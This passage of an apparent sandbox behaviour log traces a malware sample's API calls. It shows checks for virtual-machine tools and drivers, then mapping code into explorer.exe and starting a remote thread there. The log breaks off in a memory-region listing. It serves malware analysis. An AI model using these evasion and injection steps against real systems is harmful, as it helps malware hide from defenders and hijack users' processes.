(_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.726] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.727] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.727] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="qemu-ga.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="qga.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="windanr.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="vboxservice.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="vboxtray.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0097.727] wcsstr (_Str="shot_hot.exe", _SubStr="prl_tools.exe") returned 0x0 [0097.729] LocalFree (hMem=0x1d32050) returned 0x0 [0097.729] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x9800) returned 0xc0000004 [0097.729] LocalAlloc (uFlags=0x40, uBytes=0xa800) returned 0x1d32050 [0097.729] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x1d32050, Length=0xa800, ResultLength=0x19ff54 | out: SystemInformation=0x1d32050, ResultLength=0x19ff54*=0x9800) returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vmci.s") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vmusbm") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vmmous") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vm3dmp") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vmrawd") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vmmemc") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vboxgu") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vboxsf") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vboxmo") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vboxvi") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vboxdi") returned 0x0 [0097.730] strstr (_Str="ntoskrnl.exe", _SubStr="vioser") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vmci.s") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vmusbm") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vmmous") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vm3dmp") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vmrawd") returned 0x0 [0097.730] strstr (_Str="hal.dll", _SubStr="vmmemc") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vboxgu") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vboxsf") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vboxmo") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vboxvi") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vboxdi") returned 0x0 [0097.731] strstr (_Str="hal.dll", _SubStr="vioser") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vmci.s") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vmusbm") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vmmous") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vm3dmp") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vmrawd") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vmmemc") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vboxgu") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vboxsf") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vboxmo") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vboxvi") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vboxdi") returned 0x0 [0097.731] strstr (_Str="kd.dll", _SubStr="vioser") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmci.s") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmusbm") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmous") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vm3dmp") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmrawd") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmemc") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxgu") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxsf") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxmo") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxvi") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxdi") returned 0x0 [0097.732] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vioser") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vmci.s") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vmusbm") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vmmous") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vm3dmp") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vmrawd") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vmmemc") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vboxgu") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vboxsf") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vboxmo") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vboxvi") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vboxdi") returned 0x0 [0097.733] strstr (_Str="werkernel.sys", _SubStr="vioser") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vmci.s") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vmusbm") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vmmous") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vm3dmp") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vmrawd") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vmmemc") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vboxgu") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vboxsf") returned 0x0 [0097.733] strstr (_Str="clfs.sys", _SubStr="vboxmo") returned 0x0 [0097.734] strstr (_Str="clfs.sys", _SubStr="vboxvi") returned 0x0 [0097.734] strstr (_Str="clfs.sys", _SubStr="vboxdi") returned 0x0 [0097.734] strstr (_Str="clfs.sys", _SubStr="vioser") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vmci.s") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vmusbm") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vmmous") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vm3dmp") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vmrawd") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vmmemc") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vboxgu") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vboxsf") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vboxmo") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vboxvi") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vboxdi") returned 0x0 [0097.734] strstr (_Str="tm.sys", _SubStr="vioser") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vmci.s") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vmusbm") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vmmous") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vm3dmp") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vmrawd") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vmmemc") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vboxgu") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vboxsf") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vboxmo") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vboxvi") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vboxdi") returned 0x0 [0097.736] strstr (_Str="pshed.dll", _SubStr="vioser") returned 0x0 [0097.736] strstr (_Str="bootvid.dll", _SubStr="vmci.s") returned 0x0 [0097.736] strstr (_Str="bootvid.dll", _SubStr="vmusbm") returned 0x0 [0097.736] strstr (_Str="bootvid.dll", _SubStr="vmmous") returned 0x0 [0097.736] strstr (_Str="bootvid.dll", _SubStr="vm3dmp") returned 0x0 [0097.736] strstr (_Str="bootvid.dll", _SubStr="vmrawd") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vmmemc") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vboxgu") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vboxsf") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vboxmo") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vboxvi") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vboxdi") returned 0x0 [0097.737] strstr (_Str="bootvid.dll", _SubStr="vioser") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vmci.s") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vmusbm") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vmmous") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vm3dmp") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vmrawd") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vmmemc") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vboxgu") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vboxsf") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vboxmo") returned 0x0 [0097.737] strstr (_Str="cmimcext.sys", _SubStr="vboxvi") returned 0x0 [0097.738] strstr (_Str="cmimcext.sys", _SubStr="vboxdi") returned 0x0 [0097.738] strstr (_Str="cmimcext.sys", _SubStr="vioser") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vmci.s") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vmusbm") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vmmous") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vm3dmp") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vmrawd") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vmmemc") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vboxgu") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vboxsf") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vboxmo") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vboxvi") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vboxdi") returned 0x0 [0097.738] strstr (_Str="ntosext.sys", _SubStr="vioser") returned 0x0 [0097.738] strstr (_Str="ci.dll", _SubStr="vmci.s") returned 0x0 [0097.738] strstr (_Str="ci.dll", _SubStr="vmusbm") returned 0x0 [0097.738] strstr (_Str="ci.dll", _SubStr="vmmous") returned 0x0 [0097.738] strstr (_Str="ci.dll", _SubStr="vm3dmp") returned 0x0 [0097.738] strstr (_Str="ci.dll", _SubStr="vmrawd") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vmmemc") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vboxgu") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vboxsf") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vboxmo") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vboxvi") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vboxdi") returned 0x0 [0097.739] strstr (_Str="ci.dll", _SubStr="vioser") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vmci.s") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vmusbm") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vmmous") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vm3dmp") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vmrawd") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vmmemc") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vboxgu") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vboxsf") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vboxmo") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vboxvi") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vboxdi") returned 0x0 [0097.739] strstr (_Str="msrpc.sys", _SubStr="vioser") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vmci.s") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vmusbm") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vmmous") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vm3dmp") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vmrawd") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vmmemc") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vboxgu") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vboxsf") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vboxmo") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vboxvi") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vboxdi") returned 0x0 [0097.740] strstr (_Str="fltmgr.sys", _SubStr="vioser") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vmci.s") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vmusbm") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vmmous") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vm3dmp") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vmrawd") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vmmemc") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vboxgu") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vboxsf") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vboxmo") returned 0x0 [0097.740] strstr (_Str="ksecdd.sys", _SubStr="vboxvi") returned 0x0 [0097.741] strstr (_Str="ksecdd.sys", _SubStr="vboxdi") returned 0x0 [0097.741] strstr (_Str="ksecdd.sys", _SubStr="vioser") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vmci.s") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vmusbm") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vmmous") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vm3dmp") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vmrawd") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vmmemc") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vboxgu") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vboxsf") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vboxmo") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vboxvi") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vboxdi") returned 0x0 [0097.741] strstr (_Str="clipsp.sys", _SubStr="vioser") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vmci.s") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vmusbm") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vmmous") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vm3dmp") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vmrawd") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vmmemc") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vboxgu") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vboxsf") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vboxmo") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vboxvi") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vboxdi") returned 0x0 [0097.742] strstr (_Str="wdf01000.sys", _SubStr="vioser") returned 0x0 [0097.742] strstr (_Str="wdfldr.sys", _SubStr="vmci.s") returned 0x0 [0097.742] strstr (_Str="wdfldr.sys", _SubStr="vmusbm") returned 0x0 [0097.742] strstr (_Str="wdfldr.sys", _SubStr="vmmous") returned 0x0 [0097.742] strstr (_Str="wdfldr.sys", _SubStr="vm3dmp") returned 0x0 [0097.743] strstr (_Str="wdfldr.sys", _SubStr="vmrawd") returned 0x0 [0097.743] strstr (_Str="wdfldr.sys", _SubStr="vmmemc") returned 0x0 [0097.743] strstr (_Str="wdfldr.sys", _SubStr="vboxgu") returned 0x0 [0097.743] strstr (_Str="wdfldr.sys", _SubStr="vboxsf") returned 0x0 [0097.744] strstr (_Str="wdfldr.sys", _SubStr="vboxmo") returned 0x0 [0097.744] strstr (_Str="wdfldr.sys", _SubStr="vboxvi") returned 0x0 [0097.744] strstr (_Str="wdfldr.sys", _SubStr="vboxdi") returned 0x0 [0097.744] strstr (_Str="wdfldr.sys", _SubStr="vioser") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vmci.s") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vmusbm") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vmmous") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vm3dmp") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vmrawd") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vmmemc") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vboxgu") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vboxsf") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vboxmo") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vboxvi") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vboxdi") returned 0x0 [0097.744] strstr (_Str="acpiex.sys", _SubStr="vioser") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vmci.s") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vmusbm") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vmmous") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vm3dmp") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vmrawd") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vmmemc") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vboxgu") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vboxsf") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vboxmo") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vboxvi") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vboxdi") returned 0x0 [0097.745] strstr (_Str="wpprecorder.sys", _SubStr="vioser") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vmci.s") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vmusbm") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vmmous") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vm3dmp") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vmrawd") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vmmemc") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vboxgu") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vboxsf") returned 0x0 [0097.746] strstr (_Str="cng.sys", _SubStr="vboxmo") returned 0x0 [0097.747] LocalFree (hMem=0x1d32050) returned 0x0 [0097.747] Sleep (dwMilliseconds=0x1388) [0102.751] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19ff1c*=0x0, ZeroBits=0x0, RegionSize=0x19ff24*=0x5200, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19ff1c*=0x4f0000, RegionSize=0x19ff24*=0x6000) returned 0x0 [0102.752] GetShellWindow () returned 0x100cc [0102.753] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x19fec8 | out: lpdwProcessId=0x19fec8) returned 0x61c [0102.753] NtOpenProcess (in: ProcessHandle=0x19ff18, DesiredAccess=0x40, ObjectAttributes=0x19ff00*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x19fef8*(UniqueProcess=0x618, UniqueThread=0x0) | out: ProcessHandle=0x19ff18*=0x15c) returned 0x0 [0102.753] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0xffffffff, TargetProcessHandle=0xffffffff, TargetHandle=0x19ff1c, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x2 | out: TargetHandle=0x19ff1c*=0x160) returned 0x0 [0102.753] NtCreateSection (in: SectionHandle=0x19fed4, DesiredAccess=0x6, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed4*=0x164) returned 0x0 [0102.753] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0xffffffff, BaseAddress=0x19fee4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee4*=0x1e30000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0102.753] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0x160, BaseAddress=0x19feec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19feec*=0x410000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0107.106] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e30000, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe")) returned 0x62 [0107.106] NtCreateSection (in: SectionHandle=0x19fed0, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed0*=0x168) returned 0x0 [0107.107] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x19fee0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x15200, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee0*=0x1e40000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0107.108] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0x160, BaseAddress=0x19fee8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x20 | out: BaseAddress=0x19fee8*=0x420000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0107.112] RtlCreateUserThread (in: ProcessHandle=0x160, SecurityDescriptor=0x0, CreateSuspended=0, StackZeroBits=0x0, StackReserve=0x0, StackCommit=0x0, StartAddress=0x421930, Parameter=0x410000, ThreadHandle=0x19fe30*=0xc401d32048, ClientId=0x0 | out: ThreadHandle=0x19fe30*=0x16c, ClientId=0x0) returned 0x0 [0107.186] NtTerminateProcess (ProcessHandle=0xffffffff, ExitStatus=0x0) Thread: id = 4 os_tid = 0x97c Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x2b639000" os_pid = "0x618" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 383 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 384 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 385 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 386 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 387 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 388 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 389 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 390 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 391 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 392 start_va = 0x1d0000 end_va = 0x1d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 393 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 394 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 395 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 396 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 397 start_va = 0x410000 end_va = 0x414fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 398 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = private name = 